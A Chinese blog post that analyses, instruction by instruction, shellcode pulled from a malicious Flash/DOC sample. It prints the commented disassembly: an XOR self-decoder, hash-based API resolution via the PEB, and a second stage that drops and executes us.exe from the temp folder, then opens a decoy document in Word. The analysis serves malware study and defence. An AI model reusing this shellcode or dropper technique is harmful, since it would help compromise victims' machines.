一个shellcode的细致分析

从古河分析的一个FLASH样本(链接:http://bbs.pediy.com/showthread.php?t=147686)里扣出来的shellcode,对它进行了一番分析,一来是很久没玩过shellcode了,二来是想看看里头有啥创新的地方没有~

一部分

0040E7D4 > D9C8 fxch st   ; exchange st0 and st0,不是很清楚这个操作

0040E7D6 D97424 F4 fstenv (28-byte) ptr [esp-C] ; 存储协处理器环境,总共占用28byte                                                      而esp指向的栈内存刚好存储shellcode开始的地址

0040E7DA BA EEECE0DC mov edx, DCE0ECEE  ;异或子
0040E7DF 29C9 sub ecx, ecx  ;
0040E7E1 5F pop edi  ; shellcode起始地址
0040E7E2 B1 3A mov cl, 3A   ; 解码时需要异或的次数


0040E7E4 3157 14 xor dword ptr [edi+14], edx ;从偏移为0x14的地方开始解码
0040E7E7 83EF FC sub edi, -4  ;指针下移4
0040E7EA ^ E2 F8 loopd short 0040E7E4 ;循环解码


0040E7EC E9 BA000000 jmp 0040E8AB ;长跳

 

FUNC:0040E7F1
0040E7F1 B9 04000000 mov ecx, 4 ;要找4个地址
0040E7F6 5F pop edi ;HASH值地址0040E8B0
0040E7F7 33C0 xor eax, eax
0040E7F9 64:8B35 30000>mov esi, dword ptr fs:[30]  ; PEB结构地址(进程结构)

0040E800 8B76 0C mov esi, dword ptr [esi+C] ;得到PEB_LDR_DATA结构地址
0040E803 8B76 1C mov esi, dword ptr [esi+1C] ; InInitializationOrderModuleList

这时,esi = 0X261F58,指向第一个LDR_MODULE结构,本系统为NTDLL.DLL对应的结构

0040E806 8B6E 08 mov ebp, dword ptr [esi+8] ;DLL的基地址
0040E809 8B56 20 mov edx, dword ptr [esi+20] ; DLL的名称指针


0040E80C 8B36 mov esi, dword ptr [esi] ;下一个LDR_MODULE结构的地址
0040E80E 3842 18 cmp byte ptr [edx+18], al ;
判断DLL名称的长度是否为0x18(Unicode),KERNEL32.dll的长度干好为0x18
0040E811 ^ 75 F3 jnz short 0040E806 ;不等则循环查找
0040E813 51 push ecx ;ECX=4,总共查找4个函数地址
0040E814 8B75 3C mov esi, dword ptr [ebp+3C] ;kernel32PE头偏移(相对于dll基址)
0040E817 8B742E 78 mov esi, dword ptr [esi+ebp+78] ;函数导出表偏移
0040E81B 03F5 add esi, ebp ;导出表VA
0040E81D 56 push esi  ;导出表地址存起来
0040E81E 8B76 20 mov esi, dword ptr [esi+20] ;函数名称列表偏移
0040E821 03F5 add esi, ebp ;函数名称列表VA


0040E823 33C9 xor ecx, ecx; ECX用来存放函数序号,因为序号是从0开始,后面每循环一次都要INC, 为了实现代码的重复利用,所以得先让ecx为-1

0040E825 49 dec ecx

0040E826 41 inc ecx ;函数序号从0开始

0040E827 AD lods dword ptr [esi];取某个函数名称RVA
0040E828 03C5 add eax, ebp ;函数名称VA
0040E82A 33DB xor ebx, ebx ;存放HASH值
0040E82C 0FBE10 movsx edx, byte ptr [eax] ;取名称的一个字符
0040E82F 38F2 cmp dl, dh ;是否到达字符串尾部
0040E831 74 08 je short 0040E83B ;某个函数HASH计算完毕
0040E833 C1CB 0D ror ebx, 0D ;HASH值循环右移0D位
0040E836 03DA add ebx, edx ;累加HASH
0040E838 40 inc eax ;指向下一个字符
0040E839 ^ EB F1 jmp short 0040E82C ;循环计算HASH

;;;;;;;;;;;;某个函数HASH值计算完毕;;;;;;;;;;;
0040E83B 3B1F cmp ebx, dword ptr [edi] ;HASH值比较
0040E83D ^ 75 E7 jnz short 0040E826 ;不相等则继续查找
0040E83F 5E pop esi ;导出表地址
0040E840 8B5E 24 mov ebx, dword ptr [esi+24] ;次序表偏移
0040E843 03DD add ebx, ebp ;
0040E845 66:8B0C4B mov cx, word ptr [ebx+ecx*2] ;取出函数序号,为WORD
0040E849 8B5E 1C mov ebx, dword ptr [esi+1C] ;函数地址列表RVA
0040E84C 03DD add ebx, ebp
0040E84E 8B048B mov eax, dword ptr [ebx+ecx*4] ;找到对应函数地址RVA
0040E851 03C5 add eax, ebp ;函数地址
0040E853 AB stos dword ptr es:[edi] ;存储函数地址,覆盖了HASH值
0040E854 59 pop ecx ;
0040E855 ^ E2 BC loopd short 0040E813 ;循环查找函数地址,总共查找4个函数,ECX减一

;;;;;;;;;函数查找完毕了;;;;;;;;;;;;;
0040E857 33DB xor ebx, ebx
0040E859 83C3 04 add ebx, 4 ;句柄值每次加4(一定是4的倍数吗?)
0040E85C 6A 00 push 0 ;lpFileSizeHigh

0040E85E 53 push ebx ; FILE HANDLE
0040E85F FF57 FC call dword ptr [edi-4]
GetFileSize
0040E862 3B07 cmp eax, dword ptr [edi] ;将返回值与给定大小比较
0040E864 ^ 75 F3 jnz short 0040E859 ;不等则继续查找

;;;;;;;;;找到了文件句柄;;;;;;;;;;;;
0040E866 895F FC mov dword ptr [edi-4], ebx ;文件句柄存起来,覆盖了原来GetFileSize函数地址
0040E869 99 cdq ;用EDX把EAX扩展成4字,EDX=0
0040E86A 52 push edx ;0 -- FileBegin
0040E86B 52 push edx ; lpDistanceToMoveHigh-- NULL

0040E86C FF77 04 push dword ptr [edi+4] ;
文件偏移量 –- 0xDE00
0040E86F FF77 FC push dword ptr [edi-4] ;句柄值
0040E872 FF57 F8 call dword ptr [edi-8] ;SetFilePointer
0040E875 99 cdq ;EDX = 0
0040E876 6A 40 push 40
0040E878 68 00100000 push 1000;MEM_COMMIT

0040E87D FF77 08 push dword ptr [edi+8]
;size = 0xc26c
0040E880 52 push edx ;0
0040E881 FF57 F4 call dword ptr [edi-C] ;VirtualAlloc
0040E884 8947 F8 mov dword ptr [edi-8], eax ; 将分配的地址存
0040E887 6A 00 push 0 ;
0040E889 8D47 F4 lea eax, dword ptr [edi-C]
0040E88C 50 push eax ;
0040E88D FF77 08 push dword ptr [edi+8] ;size = C26C
0040E890 FF77 F8 push dword ptr [edi-8] ;buf
0040E893 FF77 FC push dword ptr [edi-4] ;Handle
0040E896 FF57 F0 call dword ptr [edi-10] ;ReadFile
0040E899 8B4F 0C mov ecx, dword ptr [edi+C] ;0x25C—解码循环次数
0040E89C 8B47 F8 mov eax, dword ptr [edi-8] ;BUF
0040E89F C008 51 ror byte ptr [eax], 51 ;解码
0040E8A2 8030 6E xor byte ptr [eax], 6E
0040E8A5 40 inc eax ;
0040E8A6 ^ E2 F7 loopd short 0040E89F

;;;;;;;;;;;解码完毕;;;;;;;;;;;;;;;
0040E8A8 FF57 F8 call dword ptr [edi-8]  ;执行,跳转到二
0040E8AB E8 41FFFFFF call 0040E7F1

以下为HASH值,后被覆盖为相应函数地址
0040E8B0 16 push ss
0040E8B1 65:FA cli
0040E8B3 1054CA AF adc byte ptr [edx+ecx*8-51], dl
0040E8B7 91 xchg eax, ecx
0040E8B8 AC lods byte ptr [esi]
0040E8B9 08DA or dl, bl
0040E8BB ^ 76 AD jbe short 0040E86A
0040E8BD 9B wait
0040E8BE ^ 7D DF jge short 0040E89F

;;;;;;;;;;;;;下面四个字节为需要找到的文件大小(0x1a06c =106604,即打开的doc文档);;;;;;;;;;;;
0040E8C0 6C ins byte ptr es:[edi], dx
0040E8C1 A0 010000DE mov al, byte ptr [DE000001]
0040E8C6 0000 add byte ptr [eax], al
0040E8C8 6C ins byte ptr es:[edi], dx
0040E8C9 C2 0000 retn 0
0040E8CC 5C pop esp
0040E8CD 0200 add al, byte ptr [eax]
0040E8CF 006D 6D add byte ptr [ebp+6D], ch
0040E8D2 6D ins dword ptr es:[edi], dx
0040E8D3 6D ins dword ptr es:[edi], dx
0040E8D4 FA cli
0040E8D5 FA cli

该shellcode获取了以下函数的地址:ReadFile,VirtualAlloc,SetFilePointer,GetFileSize,

 

二,(从DOC文档释放出来的数据)

假设分配的内存在此处:

解码后跳转到这里

;;;;;;;;;;;;;;前面这一段和第一部分一样,先解码;;;;;;;;;;;;;;;;

0040E7D4 >   D9C8          fxch    st

0040E7D6      D97424F4     fstenv  (28-byte) ptr [esp-C]

0040E7DA      BADED9D5D4   mov     edx, D4D5D9DE

0040E7DF     29C9          sub     ecx, ecx

0040E7E1     5F            pop     edi

0040E7E2      B192         mov     cl, 92

0040E7E4      3157 14       xor    dword ptr [edi+14], edx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

解码完后是这样子(这段代码和上次的一样,所以注释简略些):

0040E7D4 >   D9C8          fxch    st

0040E7D6      D97424F4     fstenv  (28-byte) ptr [esp-C]

0040E7DA      BA DED9D5D4   mov    edx, D4D5D9DE

0040E7DF     29C9          sub     ecx, ecx

0040E7E1     5F            pop     edi

0040E7E2      B192         mov     cl, 92

0040E7E4      315714       xor     dword ptr [edi+14], edx

0040E7E7      83EFFC       sub     edi,-4

0040E7EA    ^ E2F8         loopd   short 0040E7E4

0040E7EC      E9ED010000   jmp     0040E9DE ;长跳

0040E7F1      B909000000   mov     ecx, 9 ;要找9个地址

;;;;;;;;;;;;;;;;;;;;;;;;;;;要找的函数地址;;;;;;;;;;;;;;;;;;

;;;TerminateProcess,GetCurrentProcess,CreateProcessA,GetModuleFileNameA,;;;;;;;;;;;;

;;;WinExec,  CloseHandle, WriteFile,  CreateFileA,  GetTempPathA, ;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

0040E7F6     5F            pop     edi

0040E7F7     33C0          xor     eax, eax

0040E7F9     64:8B35 30000>mov     esi,dword ptr fs:[30]

0040E800      8B760C       mov     esi, dword ptr [esi+C]

0040E803      8B761C       mov     esi, dword ptr [esi+1C]

0040E806      8B6E08       mov     ebp, dword ptr [esi+8]

0040E809      8B5620       mov     edx, dword ptr [esi+20]

0040E80C     8B36          mov     esi, dword ptr [esi]

0040E80E      384218       cmp     byte ptr [edx+18], al ;KERNEL32

0040E811    ^ 75F3         jnz     short 0040E806

0040E813     51            push    ecx

0040E814      8B753C       mov     esi, dword ptr [ebp+3C]

0040E817      8B742E78     mov     esi, dword ptr [esi+ebp+78]

0040E81B     03F5          add     esi, ebp

0040E81D     56            push    esi

0040E81E      8B7620       mov     esi, dword ptr [esi+20]

0040E821     03F5          add     esi, ebp

0040E823     33C9          xor     ecx, ecx

0040E825     49            dec     ecx

0040E826      41           inc     ecx

0040E827     AD            lods    dword ptr [esi]

0040E828     03C5          add     eax, ebp

0040E82A     33DB          xor     ebx, ebx

0040E82C     0FBE10        movsx   edx, byte ptr [eax]

0040E82F     38F2          cmp     dl, dh

0040E831      7408         je      short 0040E83B

0040E833      C1CB0D       ror     ebx, 0D

0040E836     03DA          add     ebx, edx

0040E838     40            inc     eax

0040E839    ^ EBF1         jmp     short 0040E82C

0040E83B     3B1F          cmp     ebx, dword ptr [edi]

0040E83D    ^ 75E7         jnz     short 0040E826

0040E83F     5E            pop     esi

0040E840      8B5E24       mov     ebx, dword ptr [esi+24]

0040E843     03DD          add     ebx, ebp

0040E845     66:8B0C4B     mov     cx, word ptr [ebx+ecx*2]

0040E849      8B5E1C       mov     ebx, dword ptr [esi+1C]

0040E84C     03DD          add     ebx, ebp

0040E84E     8B048B        mov     eax, dword ptr [ebx+ecx*4]

0040E851      03C5         add     eax, ebp

0040E853     AB            stos    dword ptr es:[edi]

0040E854     59            pop     ecx

0040E855    ^ E2BC         loopd   short 0040E813

;;;;;;;;;;;;;;;;;;;函数地址查找完毕;;;;;;;;;;;;;;;;;;;

0040E857      81EC00010000 sub     esp, 100 ;抬高栈顶

0040E85D     8BDC          mov     ebx, esp ;

0040E85F     53            push    ebx ;临时路径存放在栈里头

0040E860      6800010000   push    100

0040E865      FF57FC       call    dword ptr [edi-4] ;GetTempPathA

0040E868     8BC4          mov    eax, esp

0040E86A     40            inc     eax

0040E86B      803800       cmp     byte ptr [eax], 0 ;是否到尾部

0040E86E    ^ 75FA         jnz     short 0040E86A ;

0040E870      8D77 18       lea    esi, dword ptr [edi+18]  ;EAX指向字符串尾,EDI指向HASH

;;;和其它数据,这里ESI就指向us.exe

0040E873      8B4F10       mov     ecx, dword ptr [edi+10] ;7

0040E876     8A16          mov     dl, byte ptr [esi] ;下面3个语句的作用是将us.exe连接到

;TempPath的后面

0040E878     46            inc     esi

0040E879     8810          mov     byte ptr [eax], dl

0040E87B     40            inc     eax

0040E87C    ^ E2F8         loopd   short 0040E876

0040E87E     99            cdq

0040E87F     52            push    edx

0040E880      6A50         push    50

0040E882      6A02         push    2

0040E884     52            push    edx                                  

0040E885     52            push    edx                                 

0040E886      68000000C0   push    C0000000

0040E88B     53            push    ebx ;路径

0040E88C      FF57F8       call    dword ptr [edi-8] ;CreateFileA—创建文件us.exe

0040E88F      894708       mov     dword ptr [edi+8], eax ;创建的文件句柄

0040E892     8BC7          mov     eax, edi ;暂存EDI

0040E894     40            inc     eax

0040E895      8138462E5A68 cmp     dword ptr [eax], 685A2E46 ;查找标记

0040E89B    ^ 75F7         jnz     short 0040E894 ;循环查找

0040E89D      817804 23068>cmp     dword ptr [eax+4],19810623 ;用某某人的生日,佩服

0040E8A4    ^ 75EE         jnz     short 0040E894

;;;;;;;;;;;;;;;;;;;;;;;;;;;;内存示意图;;;;;;;;;;;;;;;;;;;;;;;

0040EA07  00 5A 0000 00 66 00 00 4C 00 00 00 00 00 00 00 .Z...f..L.......

0040EA17  07 00 0000 08 00 00 00 75 73 2E 65 78 65 00 64 ......us.exe.d

0040EA27  6F 63 2E64 6F 63 00 00 00 46 2E 5A 68 23 06 81  oc.doc...F.Zh#

0040EA37  19 35 6942 00 0C 00 00 00 F0 50 6A 00 FF 35 2C 5iB.....餚j.5,

0040EA47  81 45 00FF 15 98 11 44 00 8B 4D F0 64 89 0D 00  丒.?D.婱餯?.

0040EA57  00 00 005F 5E 5B C9 C3 55 8B EC 6A FF 68 68 54 ..._^[擅U嬱jhhT

0040EA67  44 00 6868 3D 41 00 64 A1 00 00 00 00 50 64 89 D.hh=A.d?...Pd

0040EA77  25 00 0000 00 83 EC 18 53 56 57 8B 75 08 85 F6 %....冹SVW媢咑

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

0040E8A6      8D7008       lea     esi, dword ptr [eax+8] ;解码起始点

0040E8A9     8B0F          mov     ecx, dword ptr [edi] ;0x5a00—解码次数

0040E8AB     8BC6          mov     eax, esi

;;;;;;;;;;;;;;;;;;循环解码(从标记19810623后开始);;;;;;;;;;;;;;;;;;;;;;;

0040E8AD      C0088A       ror     byte ptr [eax], 8A

0040E8B0      8030 00       xor    byte ptr [eax], 0

0040E8B3     40            inc     eax

0040E8B4    ^ E2F7         loopd   short 0040E8AD

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

0040E8B6     99            cdq

0040E8B7     52            push   edx ;NULL

0040E8B8      8D470C       lea     eax, dword ptr [edi+C]

0040E8BB     50            push    eax ;写了多少字节

0040E8BC     FF37          push    dword ptr [edi] ;size

0040E8BE     56            push    esi ;buf

0040E8BF      FF7708       push   dword ptr [edi+8] ;句柄

0040E8C2      FF57F4       call    dword ptr [edi-C] ;WriteFile,将解码后的数据写入到us.exe

0040E8C5     60            pushad ;保存寄存器的值

0040E8C6      BBD2000000   mov     ebx, 0D2 ;循环写入次数

0040E8CB     99            cdq

0040E8CC      52           push    edx

0040E8CD      8D470C       lea     eax, dword ptr [edi+C]

0040E8D0     50            push    eax

0040E8D1     FF37          push    dword ptr [edi]

0040E8D3     56            push    esi

0040E8D4      FF7708       push    dword ptr [edi+8]

0040E8D7      FF57F4       call    dword ptr [edi-C] ;WriteFile,将解码后的数据写入到us.exe

0040E8DA     4B            dec     ebx

0040E8DB      83FB00       cmp     ebx, 0

0040E8DE    ^ 75EB         jnz     short 0040E8CB

;;;;;;;因为我这里没有触发环境,所以自己用VC手动将其解码,发现是一个JAVA程序

,大小为4.63MB

 

0040E8E0     61            popad ;寄存器恢复

0040E8E1      FF7708       push    dword ptr [edi+8] ;

0040E8E4      FF57F0       call    dword ptr [edi-10] ;CloseHandle

0040E8E7     99            cdq

0040E8E8     52            push   edx

0040E8E9     53            push    ebx

0040E8EA      FF57EC       call    dword ptr [edi-14] ;WinExec 执行us.exe,这应该是个马儿

0040E8ED      FF57E0       call    dword ptr [edi-20]  ;GetCurrentProcess,获取当前进程句柄

0040E8F0     99            cdq

0040E8F1     52            push    edx

0040E8F2     50            push    eax

0040E8F3      FF57DC       call    dword ptr [edi-24] ;TerminateProcess结束本进程(现在就结束??后面的不执行了吗,这里有疑问)

0040E8F6      81EC00010000 sub     esp, 100

0040E8FC     8BDC          mov     ebx, esp

0040E8FE     53            push    ebx

0040E8FF      6800010000   push    100

0040E904      FF57FC       call    dword ptr [edi-4] ;GetTempPath

0040E907      895FFC       mov     dword ptr [edi-4], ebx

0040E90A     8BC4          mov     eax, esp

0040E90C     40            inc     eax

0040E90D      803800       cmp     byte ptr [eax], 0

0040E910    ^ 75FA         jnz     short 0040E90C

0040E912      8B4F10       mov     ecx, dword ptr [edi+10]

0040E915      8D77 18      lea     esi, dword ptr [edi+18]

0040E918     03F1          add     esi, ecx

;;;;;;;;;;;;;;;;;;;;;;;;在临时路径尾部加上“doc.doc”;;;;;;;;;;;;;;;;;;;

0040E91A      8B4F14       mov     ecx, dword ptr [edi+14]

0040E91D     8A16          mov     dl, byte ptr [esi]

0040E91F     46            inc     esi

0040E920     8810          mov     byte ptr [eax], dl

0040E922     40            inc     eax

0040E923    ^ E2F8         loopd   short 0040E91D

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

0040E925     99            cdq

0040E926     52            push    edx

0040E927      6A50         push    50

0040E929      6A02         push    2

0040E92B     52            push    edx

0040E92C     52            push    edx

0040E92D      68000000C0   push    C0000000

0040E932     53            push    ebx

0040E933      FF57F8       call    dword ptr [edi-8] ;CreateFileA   doc.doc

0040E936      894708       mov     dword ptr [edi+8], eax ;文件句柄

0040E939     8BC7          mov     eax, edi

0040E93B     40            inc     eax

0040E93C      8138462E5A68 cmp     dword ptr [eax],685A2E46 ;找第二处标记

0040E942    ^ 75F7         |jnz     short 0040E93B

0040E944      817804 23068>cmp     dword ptr [eax+4],20810623 ;找标记

0040E94B    ^ 75EE         jnz     short 0040E93B

0040E94D      8D7008       lea     esi, dword ptr [eax+8]

0040E950     99            |cdq

0040E951     52            push    edx

0040E952      8D470C       |lea     eax, dword ptr [edi+C]

0040E955     50            push   eax

0040E956      FF7704       |push    dword ptr [edi+4] ;size = 0x6600

0040E959     56            push    esi ;buf

0040E95A      FF7708       push    dword ptr [edi+8]

0040E95D      FF57F4       |call    dword ptr [edi-C] ;WriteFile(中间没有进过解码,而是直接读取后写入)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;通过用VC提取出doc.doc,打开发现却是一个空白的文档

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

0040E960      FF7708       push    dword ptr [edi+8]

0040E963      FF57F0       call    dword ptr [edi-10] ; CloseHandle

0040E966      81EC00020000 sub     esp, 200

0040E96C     8BDC          mov     ebx, esp

0040E96E      6800020000   push    200

0040E973     53            push    ebx

0040E974      6A00         push    0

0040E976      FF57E8       call    dword ptr [edi-18] ;GetModuleFileNameA,获取当前模块

;;;路径和名称,即word.exe的路径

0040E979      895FF0       mov     dword ptr [edi-10], ebx

0040E97C     8BC3          mov     eax, ebx

0040E97E     40            inc     eax

0040E97F      803800       cmp     byte ptr [eax], 0 ;寻找模块名称末尾

0040E982    ^ 75FA         jnz     short 0040E97E

0040E984      C60020       mov     byte ptr [eax], 20 ;加空格‘ ’

0040E987     40            inc     eax

0040E988      C60022       mov     byte ptr [eax], 22 ;加双引号

0040E98B      8B77FC       mov     esi, dword ptr [edi-4]

0040E98E      4E            dec     esi

0040E98F     46            inc     esi

0040E990     40            inc     eax

0040E991     8A1E          mov     bl, byte ptr [esi]

0040E993     8818          mov     byte ptr [eax], bl ;将doc.doc路径粘到word.exe模块路

;;;;;;;;;;;;;;;径的后面,形成一个完整的命令行

0040E995      803E00       cmp     byte ptr [esi], 0 ;临时目录\doc.doc末尾

0040E998    ^ 75F5         jnz     short 0040E98F

0040E99A      C60022       mov     byte ptr [eax], 22 ;加双引号

0040E99D     40            inc     eax

0040E99E      C60000       mov     byte ptr [eax], 0 ;C字符串末尾

0040E9A1     8BF7          mov     esi, edi;代码与数据的临界处

0040E9A3      81EE00010000 sub     esi, 100 ;在临界处前移0x100

0040E9A9      B912000000   mov     ecx, 12 ;清零大小 = 0x12*4 = 72字节

0040E9AE      C70600000000 mov     dword ptr [esi], 0

0040E9B4      83C604       add     esi, 4

0040E9B7    ^ E2F5         loopd   short 0040E9AE

0040E9B9     99            cdq

0040E9BA      8D8700FFFFFF lea     eax, dword ptr [edi-100]

0040E9C0     50            push    eax ;lpProcessInformation

0040E9C1      8D8700FFFFFF lea     eax, dword ptr [edi-100]

0040E9C7     50            push    eax ;lpStartupInfo,作者为了节省空间,把两个结构指针

;;lpProcessInformation和lpStartupInfo重合了

0040E9C8     52            push    edx

0040E9C9     52            push   edx

0040E9CA     52            push    edx

0040E9CB     52            push    edx

0040E9CC     52            push    edx

0040E9CD     52            push    edx

0040E9CE      FF77F0       push    dword ptr [edi-10] ;命令行

0040E9D1     52            push    edx

0040E9D2      FF57E4       call    dword ptr [edi-1C] ;CreateProcessA,打开word.exe,并

;;传入doc.doc临时路径,作者的意图很明显,想打开一个正常的doc文档,来掩盖其攻击行为

0040E9D5      FF57E0       call    dword ptr [edi-20] ;GetCurrentProcessA

0040E9D8     99            cdq

0040E9D9     52            push   edx

0040E9DA     50            push    eax

0040E9DB      FF57DC       call    dword ptr [edi-24] ;TerminateProcess 结束进程

0040E9DE      E80EFEFFFF   call    0040E7F1

 

;;;;;;;;;;;;;;;;;;;;;下面是HASH和一些偏移等;;;;;;;;;;;;;;;;;;;;;;;

0040E9E3      83B9B578E617>cmp     dword ptr[ecx+17E678B5], -71

0040E9EA      7B72         jpo     short 0040EA5E

0040E9EC     FE            ???                                           ;  未知命令

0040E9ED      B316         mov     bl, 16

0040E9EF      766D         jbe     short 0040EA5E

0040E9F1      B045         mov     al, 45

0040E9F3     98            cwde

0040E9F4      FE8A0EFB97FD dec     byte ptr [edx+FD97FB0E]

0040E9FA     0F1F          ???                                           ;  未知命令

0040E9FC      790A         jns     short 0040EA08

0040E9FE      E8A517007C   call    7C4101A8

0040EA03     33CA          xor     ecx, edx

0040EA05      8A5B00       mov     bl, byte ptr [ebx]

0040EA08     5A            pop     edx

0040EA09     0000          add     byte ptr [eax], al

0040EA0B      006600       add     byte ptr [esi], ah

0040EA0E     0000          add     byte ptr [eax], al

0040EA10     0000          add     byte ptr [eax], al

0040EA12     0000          add     byte ptr [eax], al

0040EA14     0000          add     byte ptr [eax], al

0040EA16     0007          add     byte ptr [edi], al

0040EA18     0000          add     byte ptr [eax], al

0040EA1A     0008          add     byte ptr [eax], cl

0040EA1C     0000          add     byte ptr [eax], al

0040EA1E      0075 73       add    byte ptr [ebp+73], dh

0040EA21     2E:           prefix cs:

0040EA22      65:7865      js      short 0040EA8A

0040EA25      00646F63     add     byte ptr [edi+ebp*2+63], ah

0040EA29     2E:           prefix cs:

0040EA2A      64:6F         outs   dx, dword ptr es:[edi]

0040EA2C     6300          arpl    word ptr [eax], ax

0040EA2E     0000          add     byte ptr [eax], al

0040EA30     46            inc     esi

0040EA31     2E:5A         pop     edx

0040EA33      6823068119   push    19810623

0040EA38      356942000C   xor     eax, 0C004269

0040EA3D     0000          add     byte ptr [eax], al

0040EA3F     00F0          add     al, dh

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值